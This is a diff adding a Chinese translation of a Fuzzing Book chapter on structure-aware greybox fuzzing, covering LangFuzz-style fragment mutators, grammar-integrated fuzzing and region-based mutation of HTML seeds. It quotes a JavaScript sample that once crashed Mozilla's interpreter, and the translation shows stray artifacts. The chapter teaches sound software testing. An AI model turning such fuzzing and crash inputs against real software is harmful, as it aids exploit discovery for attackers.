Z6OenosqpP13JFuDSAfgk7jPxWFafdDO3TdAcHEFjgrTqzonOXWuwi6IPgR/gdfLcxF23ywBNhL8kn8AbPPg0dJw8HFVHHO4fTvBQ99y4lwQPFr750As/Hwk9fdcOPA3M1toZuPDtLT/jmTrsidWSVp9n6tc1TnJmXNlZkcATwMT3P2L4I/IyrNWkpYz58Ldy4DeZtYKeBY4sbJs4WvOngszuwDY6O4LzezM8uRKsub8uQgNcvf1ZnYU8KqZvVdN3pSdi2xtiRQDneI+dwTWR1SXTPssbHYSvm4M06s6JzlxrsysIUEAmebuz4TJ9fJclHP3bQRPBh1I0B1R/kdh/HFVHHO4vSVBF2kunItBwAgzW0vQpX0WQcukPp4L3H19+LqR4I+L/mTgdyRbg8g/gePDWRiNCAbJZkRcp0yZAZTPmBgDPB+X/sNw1sVAYHvYfH0FOM/MWoczM84L07JG2G/9CPCuu98bt6k+nou2YQsEM2sCnEMwRjQbGBVmO/RclJ+jUcAsD0ZQZwCXhDOWioDjgfmZOYrUcPeb3b2ju3chuAbMcvfR1MNzYWbNzKx5+XuC/9vLycTvSNQzCg5jJsJwglk6HwC/jLo+aTrG6cAGoITgL4QrCPpwXwNWh69twrwG/DE8H8uAfnHlXE4wWLgGuCzq46rFeTidoEn9DrAk/BleT89FL2BxeC6WA7eG6ccQXPjWAH8BGofpBeHnNeH2Y+LK+mV4jlYBw6I+tsM8L2dyYHZWvTsX4TEvDX9WlF8TM/E7omVPRESk1rK1O0tEROoABREREak1BREREak1BREREak1BREREak1BRGpl8zst2Z2ppldaDVcBTq8V+PtcOXYrx+y7X/MrHtqawtm9otUlymSCpriK/WSmc0iWLjvP4Gn3P0fNfjuJQT3EmRsKXkz2+nuR2RqfyLJUktE6hUzu9vM3gFOAeYC44CJZnZrJXm/amavhc9beM3MOptZb4LltYeHz21ocsh3XjezfuH7nWZ2pwXP/phnZu3C9Klm9pCZvWlm74drQGFmY83swbiyXgxbS3cBTcL9TQvvTv5rWO5yM7s4TadLJCEFEalX3P0GgsAxlSCQvOPuvdz99kqyP0iwXHYvYBrwgLsvAW4leBZFb3ffU83umgHz3P1k4A3gyrhtXYDBBK2hh8ysoJo63wTsCfc3mmBp7vXufrK79wD+L5ljF0kHBRGpj/oQLJ3SDVhZTb5TCR52BPA4wfIrNbEfeDF8v5AgcJR70t1j7r6a4ME/3WpQ7jLgHDP7nZl93d2317BeIimTrUvBi9RY2BU1lWBl0s1A0yDZlgCnJmhVQM2XBy/xA4OOZRz8+3ZoWQ6UcvAfdpW2Ttz9fTP7GsH6Yb81s79V0ZISSTu1RKTecPcl7t6bA4/XnQUMraZbag7B6rAAo4G3Ulidi8ysgZkdS7B43iqCx5v2DtM7cfDT9UrC5fAxs/bAbnf/X+Aegkcoi0RCLRGpV8ysLfC5u8fMrJu7V9eddS0w2cxuADYBl6WwKquAvwPtgKvcfa+Z/QP4iKC7ajmwKC7/JOAdM1sEPAbcbWYxghWer05hvURqRFN8RTLMzKYSLFv+VKK8InWdurNERKTW1BIREZFaU0tERERqTUFERERqTUFERERqTUFERERqTUFERERq7f8Dpkwsj4za840AAAAASUVORK5CYII=
+)
+
+***摘要。*** 向Fuzzer告知重要的关键字已经对快速实现大量覆盖大有帮助。
+
+***试试。*** 以Jupyter笔记本的形式打开本章，并将其他与HTML相关的关键字添加到字典中，以查看覆盖范围的差异是否实际上有所增加（假设5k生成的测试输入的预算相同）。
+
+***读取。*** AFL的作者MichałZalewski在[上撰写了几篇很棒的博客文章，其中包括手头的词典](https://lcamtuf.blogspot.com/2015/01/afl-fuzz-making-up-grammar-with.html)和[凭空抽出JPEG](https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html) 构成语法！
+
+## 输入片段模糊化
+
+虽然字典有助于将重要的关键字注入种子输入，但是字典却不能保持生成的输入的结构完整性。 相反，我们需要使模糊器知道*输入结构*。 我们可以使用[语法](Grammars.html)来做到这一点。 我们的第一种方法
+
+1.  [解析](Parser.html)种子输入，
+2.  将它们分解为输入片段，然后
+3.  通过根据语法规则重新组合这些片段来生成新文件。
+
+*解析*和*模糊化*的组合可能非常强大，正如我们将在瞬间看到的那样
+
+### 解析和重组JavaScript，或如何在四周内赚取50,000美元
+
+在“使用代码片段进行模糊处理” [ [Holler *等人*，2012。](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final73.pdf)]中，Holler，Herzig和Zeller应用这些步骤来模糊JavaScript解释器。 他们使用JavaScript语法
+
+1.  *解析*（有效）JavaScript输入到解析树中，
+2.  *将*分解为片段（子树），
+3.  *将这些片段重新组合为有效的JavaScript程序，然后*
+4.  *将这些程序*馈入JavaScript解释器以执行。
+
+与大多数模糊测试场景一样，其目的是使JavaScript解释器崩溃。 这是LangFuzz生成的JavaScript代码的示例（来自[ [Holler *等人*，2012。](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final73.pdf)]），该代码导致Mozilla JavaScript解释器崩溃：
+
+```py
+var haystack = "foo";
+var re_text = "^foo";
+haystack += "x";
+re_text += "(x)";
+var re = new RegExp(re_text);
+re.test(haystack);
+RegExp.input = Number();
+print(RegExp.$1);
+
+```
+
+由于JavaScript解释器崩溃，通常可以构造*漏洞*，该漏洞不仅会使解释器崩溃，而且要使它在攻击者的控制下执行代码。 因此，此类崩溃是严重的缺陷，这就是为什么如果报告这些错误就会得到赏金的原因。
+
+在运行他的 *LangFuzz* 工具的前四周，该论文的第一作者Christian Holler从*的错误赏金*中获得了超过50,000美元的收入。 迄今为止，LangFuzz已在Mozilla Firefox，Google Chrome和Microsoft Edge的JavaScript浏览器中发现了2,600多个错误。 如果您使用这些浏览器中的任何一个（例如，在您的Android手机上），解析和模糊测试的结合就可以极大地确保您的浏览会话的安全。
+
+（请注意，与本书的合著者相同的是Holler和Zeller。如果您想知道为什么我们专门针对基于语法的模糊测试撰写了两章，那是因为我们在此方面有丰富的经验。）
+
+### 解析和重新组合HTML
+
+在本书中，让我们停留一段时间的HTML输入。 要为我们的Python `HTMLParser`生成有效的HTML输入，我们应该首先定义一个简单的语法。 它允许定义带有属性的HTML标签。 我们的无上下文语法不要求开始和结束标记必须匹配。 但是，我们将看到可以在派生的输入片段中并因此在生成的输入中维护此类上下文相关功能。
+
+```py
+import [string](https://docs.python.org/3/library/string.html)
+
+```
+
+```py
+from [Grammars](Grammars.html) import is_valid_grammar, srange
+
+```
+
+```py
+XML_TOKENS = {"<id>","<text>"}
+
+XML_GRAMMAR = {
+    "<start>": ["<xml-tree>"],
+    "<xml-tree>": ["<text>",
+                   "<xml-open-tag><xml-tree><xml-close-tag>", 
+                   "<xml-openclose-tag>", 
+                   "<xml-tree><xml-tree>"],
+    "<xml-open-tag>":      ["<<id>>", "<<id> <xml-attribute>>"],
+    "<xml-openclose-tag>": ["<<id>/>", "<<id> <xml-attribute>/>"],
+    "<xml-close-tag>":     ["</<id>>"],
+    "<xml-attribute>" :    ["<id>=<id>", "<xml-attribute> <xml-attribute>"],
+    "<id>":                ["<letter>", "<id><letter>"],
+    "<text>" :             ["<text><letter_space>","<letter_space>"],
+    "<letter>":            srange(string.ascii_letters + string.digits +"\""+"'"+"."),
+    "<letter_space>":      srange(string.ascii_letters + string.digits +"\""+"'"+" "+"\t"),
+}
+
+```
+
+```py
+assert is_valid_grammar(XML_GRAMMAR)
+
+```
+
+为了将输入解析为派生树，我们使用 [Earley解析器](Parser.html#Parsing-Context-Free-Grammars)。
+
+```py
+from [Parser](Parser.html) import EarleyParser
+from [GrammarFuzzer](GrammarFuzzer.html) import display_tree
+
+```
+
+让我们在简单的HTML输入上运行解析器，并显示所有可能的解析树。 *解析树*表示根据给定语法的输入结构。
+
+```py
+parser = EarleyParser(XML_GRAMMAR, tokens=XML_TOKENS)
+
+for tree in parser.parse("<html>Text</html>"):
+    display_tree(tree)
+
+```
+
+如我们所见，输入以开始标签开始，包含一些文本，然后以结束标签结束。 优秀的。 这是我们可以使用的结构。
+
+### 建立片段池
+
+现在，我们准备实现我们的第一个可识别输入结构的mutator。 让我们用表示空片段池的字典`fragments`初始化mutator。 它包含语法中每个符号的键（并将空集作为值）。
+
+```py
+class FragmentMutator(Mutator):
+    def __init__(self, parser):
+        """Initialize empty fragment pool and add parser"""
+        self.parser = parser
+        self.fragments = {k: [] for k in self.parser.cgrammar}
+        super().__init__()
+
+```
+
+`FragmentMutator`递归添加片段。 *片段*是解析树中的子树，由当前节点和子节点的符号（即后代片段）组成。 我们可以排除以记号，结尾或不属于语法的符号开头的片段。
+
+```py
+from [Parser](Parser.html) import terminals
+
+```
+
+```py
+class FragmentMutator(FragmentMutator):
+    def add_fragment(self, fragment):
+        """Recursively adds fragments to the fragment pool"""
+        (symbol, children) = fragment
+        if not self.is_excluded(symbol):
+            self.fragments[symbol].append(fragment)
+            for subfragment in children:
+                self.add_fragment(subfragment)
+
+    def is_excluded(self, symbol):
+        """Returns true if a fragment starting with a specific
+ symbol and all its decendents can be excluded"""
+        return ((not symbol in self.parser.grammar()) or
+                symbol in self.parser.tokens or
+                symbol in terminals(self.parser.grammar()))
+
+```
+
+解析可能需要很长时间，尤其是在解析过程中含糊不清的情况下。 为了保持突变模糊测试的效率，我们将解析时间限制为200ms。
+
+```py
+import [signal](https://docs.python.org/3/library/signal.html)
+
+```
+
+```py
+class Timeout(Exception): pass
+def timeout(signum, frame): 
+    raise Timeout()
+
+# Register timeout() as handler for signal 'SIGALRM'"
+signal.signal(signal.SIGALRM, timeout);
+
+```
+
+函数`add_to_fragment_pool()`解析一个种子（不超过200毫秒），并将其所有片段添加到片段池中。 如果解析`seed`成功，则将属性`seed.has_structure`设置为`True`。 否则，将其设置为`False`。
+
+```py
+class FragmentMutator(FragmentMutator):
+    def add_to_fragment_pool(self, seed):
+        """Adds all fragments of a seed to the fragment pool"""
+        try: # only allow quick parsing of 200ms max
+            signal.setitimer(signal.ITIMER_REAL, 0.2)
+            seed.structure = next(self.parser.parse(seed.data))
+            signal.setitimer(signal.ITIMER_REAL, 0)
+
+            self.add_fragment(seed.structure)
+            seed.has_structure = True
+        except (SyntaxError, Timeout):
+            seed.has_structure = False
+            signal.setitimer(signal.ITIMER_REAL, 0)
+
+```
+
+让我们看看`FragmentMutator`如何填充简单HTML种子输入的片段池。 我们用`EarleyParser`初始化mutator，而`XML_GRAMMAR`本身也被初始化。
+
+```py
+from [GrammarFuzzer](GrammarFuzzer.html) import tree_to_string
+
+```
+
+```py
+valid_seed = Seed("<html><header><title>Hello</title></header><body>World<br/></body></html>")
+fragment_mutator = FragmentMutator(EarleyParser(XML_GRAMMAR, tokens=XML_TOKENS))
+fragment_mutator.add_to_fragment_pool(valid_seed)
+
+for key in fragment_mutator.fragments:
+    print(key)
+    for f in fragment_mutator.fragments[key]:
+        print("|-%s" % tree_to_string(f))
+
+```
+
+```py
+<start>
+|-<html><header><title>Hello</title></header><body>World<br/></body></html>
+<xml-tree>
+|-<html><header><title>Hello</title></header><body>World<br/></body></html>
+|-<header><title>Hello</title></header><body>World<br/></body>
+|-<header><title>Hello</title></header>
+|-<title>Hello</title>
+|-Hello
+|-<body>World<br/></body>
+|-World<br/>
+|-World
+|-<br/>
+<xml-open-tag>
+|-<html>
+|-<header>
+|-<title>
+|-<body>
+<xml-openclose-tag>
+|-<br/>
+<xml-close-tag>
+|-</title>
+|-</header>
+|-</body>
+|-</html>
+<xml-attribute>
+<id>
+<text>
+<letter>
+<letter_space>
+
+```
+
+对于语法中的许多符号，我们收集了许多片段。 从`xml-tree`符号开始，有几个打开和关闭标签以及几个有趣的片段。
+
+***摘要*** 。 对于语法中的每个有趣符号，`FragmentMutator`具有一组片段。 通过首先解析要突变的输入来提取这些片段。
+
+### 基于片段的突变
+
+我们可以使用片段池中的片段来生成新的输入。 每一个被突变的种子都被分解成碎片，并被记录下来-即仅在第一次时被分解。
+
+```py
+class FragmentMutator(FragmentMutator):
+    def __init__(self, parser):
+        """Initialize mutators"""
+        super().__init__(parser)
+        self.seen_seeds = []
+
+    def mutate(self, seed):
+        """Implement structure-aware mutation. Memoize seeds."""
+        if not seed in self.seen_seeds:
+            self.seen_seeds.append(seed)
+            self.add_to_fragment_pool(seed)
+        return super().mutate(seed)
+
+```
+
+我们的第一个结构突变算子是`swap_fragments()`，它在给定的种子中选择一个随机片段，并用池中的随机片段替换它。 我们确保两个片段都以相同的符号开头。 例如，我们可以用片段池中的另一个结束标记交换种子HTML中的结束标记。
+
+为了选择随机片段，变异器对与起始符号关联的根片段之下的所有片段（`n_count`）进行计数。
+
+```py
+class FragmentMutator(FragmentMutator):
+    def count_nodes(self, fragment):
+        """Returns the number of nodes in the fragment"""
+        symbol, children = fragment
+        if self.is_excluded(symbol):
+            return 0
+        return 1 + sum(map(self.count_nodes, children))
+
+```
+
+为了交换选定的片段-使用``全局''变量`self.to_swap`标识-递归遍历种子的解析树。
+
+```py
+class FragmentMutator(FragmentMutator):
+    def recursive_swap(self, fragment):
+        """Recursively finds the fragment to swap."""
+        symbol, children = fragment
+        if self.is_excluded(symbol):
+            return symbol, children
+
+        self.to_swap -= 1
+        if self.to_swap == 0: 
+            return random.choice(list(self.fragments[symbol]))
+        return symbol, list(map(self.recursive_swap, children))
+
+```
+
+我们的结构变异器在2（即`start`符号除外）和片段总数（`n_count`）之间选择一个随机数，并使用递归交换生成新片段。 新片段被序列化为字符串，并作为新种子返回。
+
+```py
+class FragmentMutator(FragmentMutator):
+    def __init__(self, parser):
+        super().__init__(parser)
+        self.mutators = [self.swap_fragment]
+
+    def swap_fragment(self, seed):
+        """Substitutes a random fragment with another with the same symbol"""
+        if seed.has_structure:
+            n_nodes = self.count_nodes(seed.structure)
+            self.to_swap = random.randint(2, n_nodes)
+            new_structure = self.recursive_swap(seed.structure)
+
+            new_seed = Seed(tree_to_string(new_structure))
+            new_seed.has_structure = True
+            new_seed.structure = new_structure
+            return new_seed
+        return seed
+
+```
+
+```py
+valid_seed = Seed("<html><header><title>Hello</title></header><body>World<br/></body></html>")
+lf_mutator = FragmentMutator(parser)
+print(valid_seed)
+lf_mutator.mutate(valid_seed)
+
+```
+
+```py
+<html><header><title>Hello</title></header><body>World<br/></body></html>
+
+```
+
+```py
+<html><header><header>Hello</title></header><body>World<br/></body></html>
+
+```
+
+如我们所见，一个片段已被另一个片段取代。
+
+我们可以使用类似的递归遍历来*删除*一个随机片段。
+
+```py
+class FragmentMutator(FragmentMutator):
+    def recursive_delete(self, fragment):
+        """Recursively finds the fragment to delete"""
+        symbol, children = fragment
+        if self.is_excluded(symbol):
+            return symbol, children
+
+        self.to_delete -= 1
+        if self.to_delete == 0: 
+            return symbol, []
+        return symbol, list(map(self.recursive_delete, children))
+
+```
+
+我们还应该定义相应的结构删除操作符。
+
+```py
+class FragmentMutator(FragmentMutator):
+    def __init__(self, parser):
+        super().__init__(parser)
+        self.mutators.append(self.delete_fragment)
+
+    def delete_fragment(self, seed):
+        """Deletes a random fragment"""
+        if seed.has_structure:
+            n_nodes = self.count_nodes(seed.structure)
+            self.to_delete = random.randint(2, n_nodes)
+            new_structure = self.recursive_delete(seed.structure)
+
+            new_seed = Seed(tree_to_string(new_structure))
+            new_seed.has_structure = True
+            new_seed.structure = new_structure
+            # do not return an empty new_seed
+            if not new_seed.data: return seed
+            else: return new_seed
+        return seed
+
+```
+
+***摘要*** 。 现在，我们掌握了结构感知的模糊测试的所有要素。 我们的变异器将所有种子分解为片段，然后将其添加到片段库中。 我们的变异器将给定种子中的随机片段与相同类型的片段交换。 而且我们的变异子会删除给定种子中的随机片段。 这允许为所生成的输入保持较高的有效性。 给定的语法。
+
+***尝试*** 。 尝试添加其他结构突变算子。 *加号运算符*如何知道给定种子文件中的位置，可以在其中添加以某个符号开头的片段？
+
+### 基于片段的模糊测试
+
+现在，我们可以定义一种在LangFuzzer中首创的可识别输入结构的模糊器。 为了实现LangFuzz，我们修改了[黑盒突变模糊器](GreyboxFuzzer.html#Blackbox-Mutation-based-Fuzzer)，以堆叠最多四个结构突变。
+
+```py
+class LangFuzzer(MutationFuzzer):
+    def create_candidate(self):
+        """Returns an input generated by fuzzing a seed in the population"""
+        candidate = self.schedule.choose(self.population)
+        trials = random.randint(1,4)
+        for i in range(trials):
+            candidate = self.mutator.mutate(candidate)
+        return candidate
+
+```
+
+好的，让我们来研究第一个具有输入结构意识的模糊器。 请注意，我们暂时将n = 300设置为。
+
+```py
+n = 300
+runner = FunctionCoverageRunner(my_parser)
+mutator = FragmentMutator(EarleyParser(XML_GRAMMAR, tokens=XML_TOKENS))
+schedule = PowerSchedule()
+
+langFuzzer = LangFuzzer([valid_seed.data], mutator, schedule)
+
+start = time.time()
+langFuzzer.runs(runner, trials = n)
+end = time.time()
+
+"It took LangFuzzer %0.2f seconds to generate and execute %d inputs." % (end - start, n)
+
+```
+
+```py
+'It took LangFuzzer 15.40 seconds to generate and execute 300 inputs.'
+
+```
+
+我们观察到结构突变非常缓慢。 尽管我们有200ms的时间预算用于解析。 相比之下，仅我们的黑盒测试器就可以每秒产生约1万次输入！
+
+```py
+runner = FunctionCoverageRunner(my_parser)
+mutator = Mutator()
+schedule = PowerSchedule()
+
+blackFuzzer = MutationFuzzer([valid_seed.data], mutator, schedule)
+
+start = time.time()
+blackFuzzer.runs(runner, trials = n)
+end = time.time()
+
+"It took a blackbox fuzzer %0.2f seconds to generate and execute %d inputs." % (end - start, n)
+
+```
+
+```py
+'It took a blackbox fuzzer 0.17 seconds to generate and execute 300 inputs.'
+
+```
+
+确实，我们的黑匣子模糊测试是在眨眼间完成的。
+
+***尝试*** 。 我们可以使用[延迟解析](https://arxiv.org/abs/1811.09447)处理此开销。 延迟解析不会浪费时间在模糊测试活动的开始时，因为字节级的mutator会取得有效的进展，而是建议在模糊测试活动可行时才在结构突变中投入时间。
+
+```py
+blackbox_coverage = len(runner.coverage())
+"During this fuzzing campaign, the blackbox fuzzer covered %d statements." % blackbox_coverage
+
+```
+
+```py
+'During this fuzzing campaign, the blackbox fuzzer covered 93 statements.'
+
+```
+
+让我们为我们的模糊测试活动打印一些统计数据。 由于以后我们需要更频繁地打印统计信息，因此我们应该将其包装到一个函数中。 为了衡量覆盖率，我们导入了 [Population_coverage](Coverage.html#Coverage-of-Basic-Fuzzing) 函数。 它接受一组输入和一个Python函数，在该函数上执行输入并收集coverage信息。 具体来说，它返回一个元组`(all_coverage, cumulative_coverage)`，其中`all_coverage`是所有输入覆盖的语句集，`cumulative_coverage`是随着执行的输入数量增加而覆盖的语句数。 我们只是对后者感兴趣，以便随着时间的推移绘制覆盖范围。
+
+```py
+from [Coverage](Coverage.html) import population_coverage
+
+```
+
+```py
+def print_stats(fuzzer, parser):
+    coverage, _ = population_coverage(fuzzer.inputs, my_parser)
+
+    has_structure = 0
+    for seed in fuzzer.inputs:
+        # reuse memoized information
+        if hasattr(seed, "has_structure"):
+            if seed.has_structure: 
+                has_structure += 1
+        else:
+            if isinstance(seed, str):
+                seed = Seed(seed)
+            try:
+                signal.setitimer(signal.ITIMER_REAL, 0.2)
+                next(parser.parse(seed.data))
+                signal.setitimer(signal.ITIMER_REAL, 0)
+                has_structure += 1
+            except (SyntaxError, Timeout):
+                signal.setitimer(signal.ITIMER_REAL, 0)
+
+    print("From the %d generated inputs, %d (%0.2f%%) can be parsed.\n"
+          "In total, %d statements are covered." % (
+        len(fuzzer.inputs),
+        has_structure,
+        100 * has_structure / len(fuzzer.inputs),
+        len(coverage)))
+
+```
+
+对于LangFuzzer，让我们看看LangFuzz生成的输入中有多少是有效的（即，可分析的）以及覆盖了多少条语句。
+
+```py
+print_stats(langFuzzer, EarleyParser(XML_GRAMMAR, tokens=XML_TOKENS))
+
+```
+
+```py
+From the 300 generated inputs, 166 (55.33%) can be parsed.
+In total, 92 statements are covered.
+
+```
+
+仅使用字节级突变（不使用语法）的突变模糊器的统计信息是什么？
+
+```py
+print_stats(blackFuzzer, EarleyParser(XML_GRAMMAR, tokens=XML_TOKENS))
+
+```
+
+```py
+From the 300 generated inputs, 20 (6.67%) can be parsed.
+In total, 151 statements are covered.
+
+```
+
+***摘要*** 。 我们的片段级黑盒模糊器（LangFuzzer）比字节级模糊器生成的*有效输入*多，但实现的代码覆盖率少[​​HTG6]。 因此，生成不遵循所提供语法的输入会有一些价值。
+
+### 与Greybox Fuzzing 集成
+
+在下面的代码中，我们将片段级黑盒模糊测试（LangFuzz风格）与[字节级灰盒模糊测试](GreyboxFuzzer.html#Greybox-Mutation-based-Fuzzer)（AFL风格）集成在一起。 额外的覆盖率反馈可能使我们能够更快地增加代码覆盖率。
+
+[灰盒模糊器](GreyboxFuzzer.html#Greybox-Mutation-based-Fuzzer)将所有生成的输入添加到种子种群中，从而增加了代码覆盖率。 输入分两个阶段生成，最多堆叠四个结构突变和多达32个字节级突变。
+
+```py
+class GreyboxGrammarFuzzer(GreyboxFuzzer):
+    def __init__(self, seeds, byte_mutator, tree_mutator, schedule):
+        super().__init__(seeds, byte_mutator, schedule)
+        self.tree_mutator = tree_mutator
+
+    def create_candidate(self):
+        """Returns an input generated by structural mutation of a seed in the population"""
+        seed = self.schedule.choose(self.population)
+
+        # Structural mutation
+        trials = random.randint(0,4)
+        for i in range(trials):
+            seed = self.tree_mutator.mutate(seed)
+
+        # Byte-level mutation
+        candidate = seed.data
+        if trials == 0 or not seed.has_structure or 1 == random.randint(0, 1):
+            dumb_trials = min(len(seed.data), 1 << random.randint(1,5))
+            for i in range(dumb_trials):
+                candidate = self.mutator.mutate(candidate)
+        return candidate
+
+```
+
+让我们使用上面介绍的[标准字节级转换器](GreyboxFuzzer.html#Mutator-and-Seed)和[基于片段的结构转换器](#Fragment-based-Mutation)来运行集成模糊器。
+
+```py
+runner = FunctionCoverageRunner(my_parser)
+byte_mutator = Mutator()
+tree_mutator = FragmentMutator(EarleyParser(XML_GRAMMAR, tokens=XML_TOKENS))
+schedule = PowerSchedule()
+
+gg_fuzzer = GreyboxGrammarFuzzer([valid_seed.data], byte_mutator, tree_mutator, schedule)
+
+start = time.time()
+gg_fuzzer.runs(runner, trials = n)
+end = time.time()
+
+"It took the greybox grammar fuzzer %0.2f seconds to generate and execute %d inputs." % (end - start, n)
+
+```
+
+```py
+'It took the greybox grammar fuzzer 1.79 seconds to generate and execute 300 inputs.'
+
+```
+
+```py
+print_stats(gg_fuzzer, EarleyParser(XML_GRAMMAR, tokens=XML_TOKENS))
+
+```
+
+```py
+From the 300 generated inputs, 4 (1.33%) can be parsed.
+In total, 169 statements are covered.
+
+```
+
+***摘要*** 。 我们的结构灰箱模糊器
+
+*   比基于片段的LangFuzzer运行得更快，
+*   与基于片段的LangFuzzer和香草黑盒突变型Fuzzer相比，覆盖范围更大，并且
+*   产生的有效输入甚至比香草黑匣子突变模糊器少。
+
+## 突变无效的种子
+
+在上一节中，我们看到大多数作为种子添加的输入都是*无效* w.r.t.。 我们给定的语法。 但是，为了应用基于片段的变异器，我们需要它来成功解析种子。 否则，整个基于片段的方法将变得毫无用处。 问题出现了：*我们如何从无法成功解析的（无效）种子中导出结构？*
+
+为此，我们介绍了*基于区域的突变*的概念，该概念首先是通过 [AFLSmart](https://github.com/aflsmart/aflsmart) 结构灰盒模糊器[ [Van-Thuan Pham *等人*探索的 ，2018年。](https://arxiv.org/abs/1811.09447)。 AFLSmart实施字节级，基于片段和基于区域的突变以及基于有效性的功率计划。 我们定义了基于*区域的修饰符*，其中*区域*是输入中可以与语法中的符号关联的连续字节序列。
+
+### 确定符号区域
+
+[Earley解析器](Parser.html#The-Parsing-Algorithm)的函数`chart_parse`生成字符串的解析表。 对于字符串中的每个字母，此表给出了可能的符号以及可能属于同一符号的相邻字母的*区域*。
+
+```py
+invalid_seed = Seed("<html><body><i>World</i><br/>>/body></html>")
+parser = EarleyParser(XML_GRAMMAR, tokens=XML_TOKENS)
+table = parser.chart_parse(invalid_seed.data, parser.start_symbol())
+for column in table:
+    print(column)
+    print("---")
+
+```
+
+```py
+None chart[0]
+
+---
+< chart[1]
+
+---
+h chart[2]
+<letter>:= h |(1,2)
+<id>:= <letter> |(1,2)
+---
+t chart[3]
+<letter>:= t |(2,3)
+<id>:= <id> <letter> |(1,3)
+---
+m chart[4]
+<letter>:= m |(3,4)
+<id>:= <id> <letter> |(1,4)
+---
+l chart[5]
+<letter>:= l |(4,5)
+<id>:= <id> <letter> |(1,5)
+---
+> chart[6]
+<xml-open-tag>:= < <id> > |(0,6)
+---
+< chart[7]
+
+---
+b chart[8]
+<letter>:= b |(7,8)
+<id>:= <letter> |(7,8)
+---
+o chart[9]
+<letter>:= o |(8,9)
+<id>:= <id> <letter> |(7,9)
+---
+d chart[10]
+<letter>:= d |(9,10)
+<id>:= <id> <letter> |(7,10)
+---
+y chart[11]
+<letter>:= y |(10,11)
+<id>:= <id> <letter> |(7,11)
+---
+> chart[12]
+<xml-open-tag>:= < <id> > |(6,12)
+---
+< chart[13]
+
+---
+i chart[14]
+<letter>:= i |(13,14)
+<id>:= <letter> |(13,14)
+---
+> chart[15]
+<xml-open-tag>:= < <id> > |(12,15)
+---
+W chart[16]
+<letter_space>:= W |(15,16)
+<text>:= <letter_space> |(15,16)
+<xml-tree>:= <text> |(15,16)
+---
+o chart[17]
+<letter_space>:= o |(16,17)
+<text>:= <text> <letter_space> |(15,17)
+<text>:= <letter_space> |(16,17)
+<xml-tree>:= <text> |(15,17)
+<xml-tree>:= <text> |(16,17)
+<xml-tree>:= <xml-tree> <xml-tree> |(15,17)
+---
+r chart[18]
+<letter_space>:= r |(17,18)
+<text>:= <text> <letter_space> |(15,18)
+<text>:= <text> <letter_space> |(16,18)
+<text>:= <letter_space> |(17,18)
+<xml-tree>:= <text> |(15,18)
+<xml-tree>:= <text> |(16,18)
+<xml-tree>:= <text> |(17,18)
+<xml-tree>:= <xml-tree> <xml-tree> |(15,18)
+<xml-tree>:= <xml-tree> <xml-tree> |(16,18)
+---
+l chart[19]
+<letter_space>:= l |(18,19)
+<text>:= <text> <letter_space> |(15,19)
+<text>:= <text> <letter_space> |(16,19)
+<text>:= <text> <letter_space> |(17,19)
+<text>:= <letter_space> |(18,19)
+<xml-tree>:= <text> |(15,19)
+<xml-tree>:= <text> |(16,19)
+<xml-tree>:= <text> |(17,19)
+<xml-tree>:= <text> |(18,19)
+<xml-tree>:= <xml-tree> <xml-tree> |(15,19)
+<xml-tree>:= <xml-tree> <xml-tree> |(16,19)
+<xml-tree>:= <xml-tree> <xml-tree> |(17,19)
+---
+d chart[20]
+<letter_space>:= d |(19,20)
+<text>:= <text> <letter_space> |(15,20)
+<text>:= <text> <letter_space> |(16,20)
+<text>:= <text> <letter_space> |(17,20)
+<text>:= <text> <letter_space> |(18,20)
+<text>:= <letter_space> |(19,20)
+<xml-tree>:= <text> |(15,20)
+<xml-tree>:= <text> |(16,20)
+<xml-tree>:= <text> |(17,20)
+<xml-tree>:= <text> |(18,20)
+<xml-tree>:= <text> |(19,20)
+<xml-tree>:= <xml-tree> <xml-tree> |(15,20)
+<xml-tree>:= <xml-tree> <xml-tree> |(16,20)
+<xml-tree>:= <xml-tree> <xml-tree> |(17,20)
+<xml-tree>:= <xml-tree> <xml-tree> |(18,20)
+---
+< chart[21]
+
+---
+/ chart[22]
+
+---
+i chart[23]
+<letter>:= i |(22,23)
+<id>:= <letter> |(22,23)
+---
+> chart[24]
+<xml-close-tag>:= < / <id> > |(20,24)
+<xml-tree>:= <xml-open-tag> <xml-tree> <xml-close-tag> |(12,24)
+---
+< chart[25]
+
+---
+b chart[26]
+<letter>:= b |(25,26)
+<id>:= <letter> |(25,26)
+---
+r chart[27]
+<letter>:= r |(26,27)
+<id>:= <id> <letter> |(25,27)
+---
+/ chart[28]
+
+---
+> chart[29]
+<xml-openclose-tag>:= < <id> / > |(24,29)
+<xml-tree>:= <xml-openclose-tag> |(24,29)
+<xml-tree>:= <xml-tree> <xml-tree> |(12,29)
+---
+> chart[30]
+
+---
+/ chart[31]
+
+---
+b chart[32]
+
+---
+o chart[33]
+
+---
+d chart[34]
+
+---
+y chart[35]
+
+---
+> chart[36]
+
+---
+< chart[37]
+
+---
+/ chart[38]
+
+---
+h chart[39]
+
+---
+t chart[40]
+
+---
+m chart[41]
+
+---
+l chart[42]
+
+---
+> chart[43]
+
+---
+
+```
+
+该表中与潜在符号关联的列数对应于可以成功解析的字母数。 换句话说，我们可以使用该表来计算最长的可分析子字符串。
+
+```py
+cols = [col for col in table if col.states]
+parsable = invalid_seed.data[:len(cols)-1]
+
+print("'%s'" % invalid_seed)
+parsable
+
+```
+
+```py
+'<html><body><i>World</i><br/>>/body></html>'
+
+```
+
+```py
+'<html><body><i>World</i><br/>'
+
+```
+
+据此，我们可以计算输入的*有效性*。
+
+```py
+validity = 100 * len(parsable) / len(invalid_seed.data)
+
+"%0.1f%% of the string can be parsed successfully." % validity
+
+```
+
+```py
+'67.4% of the string can be parsed successfully.'
+
+```
+
+***摘要*** 。 与输入片段不同，即使解析器无法生成整个解析树，也可以派生输入区域。
+
+### 基于区域的突变
+
+为了模糊无效种子，基于区域的变异器将语法中的符号与种子中的区域（即索引子串）相关联。 [替代](#Building-the-Fragment-Pool)方法`add_to_fragment_pool()`首先尝试从种子中挖掘碎片。 如果失败，则区域更改器将使用 [Earley解析器](Parser.html#The-Parsing-Algorithm)来导出解析表。 对于每一列（即字母），它提取符号和相应的区域。 这使更改器可以将区域集与每个符号一起存储。
+
+```py
+class RegionMutator(FragmentMutator):
+    def add_to_fragment_pool(self, seed):
+        """Mark fragments and regions in a seed file"""
+        super().add_to_fragment_pool(seed)
+        if not seed.has_structure:
+            try:
+                signal.setitimer(signal.ITIMER_REAL, 0.2) # set 200ms timeout
+                seed.regions = {k: set() for k in self.parser.cgrammar}
